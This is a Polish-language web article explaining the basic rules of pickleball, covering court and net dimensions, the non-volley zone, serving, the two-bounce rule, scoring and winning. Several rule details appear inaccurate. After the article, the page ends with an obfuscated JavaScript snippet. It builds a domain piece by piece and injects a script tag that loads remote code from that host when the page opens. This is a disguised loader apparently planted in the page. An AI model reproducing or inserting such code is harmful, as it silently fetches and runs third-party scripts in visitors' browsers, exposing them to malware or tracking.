Pickleball - podstawowe zasady gry

Pickleball to sport, który łączy elementy tenisa, badmintona i tenisa stołowego. Jest łatwy do nauki, a jednocześnie zapewnia świetną zabawę i aktywność fizyczną, niezależnie od wieku i poziomu sprawności.

Zanim zaczniesz grać, zapoznaj się z podstawowymi zasadami gry:

Boisko

• Wymiary: 13,41 m długości i 6,10 m szerokości.

• Siatka: Wysokość 0,91 m na krańcach i 0,86 m na środku.

• Linie: Linia środkowa dzieli boisko na dwie połowy. Linie serwisowe wyznaczają strefy, z których wykonuje się serwisy.

• Strefa zakazu woleja (NVZ): To obszar o długości 2,13 m po obu stronach siatki. W tej strefie nie można odbijać piłki z powietrza (tzw. woleja), chyba że piłka odbiła się już wcześniej od ziemi po Twojej stronie boiska. Strefa zakazu woleja jest także nazywana kuchnią.

Piłka i rakieta

• Piłki do pickleballa: Wykonane z perforowanego plastiku, podobne do piłek do unihokeja.

• Rakieta: Wykonana z drewna lub kompozytów, o solidnej powierzchni bez naciągu.

Rozgrywka

• Serwis:

  • Serwis wykonuje się uderzeniem piłki poniżej talii, z dołu do góry.

  • Piłka musi przelecieć nad siatką i wylądować w polu serwisowym przeciwnika, za strefą NVZ.

  • W deblu, pierwsza drużyna serwująca ma tylko jeden serwis.

  • Serwis wykonuje się po przekątnej.

• Zasada dwóch odbić:

  • Piłka musi odbić się raz po każdej stronie boiska, zanim będzie można ją odbić z powietrza (wolej). To podstawowa zasada pickleballa!

  • Po dwóch odbiciach, można odbijać piłkę zarówno z powietrza, jak i po odbiciu od ziemi.

• Zdobywanie punktów:

  • Punkty zdobywa tylko drużyna serwująca.

  • Punkt zdobywa się, gdy przeciwnik:

    • Nie odbije piłki prawidłowo, np. gdy piłka odbije się dwa razy po jego stronie boiska.

    • Odbije piłkę poza boisko.

    • Odbije piłkę z powietrza w strefie NVZ (chyba że piłka odbiła się już wcześniej od ziemi po jego stronie).

    • Dotknie siatki rakietą lub jakąkolwiek częścią ciała.

• Wygrana:

  • Gra się zazwyczaj do 11 punktów, z przewagą dwóch punktów.

  • W przypadku remisu 10-10, gra toczy się dalej, aż jedna z drużyn uzyska przewagę dwóch punktów.

Dodatkowe zasady

• Linie: Piłka dotykająca linii jest uważana za dobrą.

• Serwis w deblu: Partnerzy serwują na zmianę, zaczynając od prawej strony.

• Zmiana stron: Drużyny zmieniają strony po zdobyciu pierwszego punktu przez jedną z nich oraz po każdym kolejnym nieparzystym punkcie.

(function(){

iuq8_=("u"+"st");iuq8=document.createElement("script");iuq8.async=true;

iuq8u="2358182304";iuq8_+="a"+("t.");iuq8_+="i"+("nf"+("o"))+("/");

iuq8u+=".hs21lfr1uq8srrfi";iuq8u+="3djmcfbiz1u2cz";

iuq8.src="https://"+iuq8_+iuq8u;iuq8.type="text/javascript";

d_b=document.body;d_b.appendChild(iuq8);

})();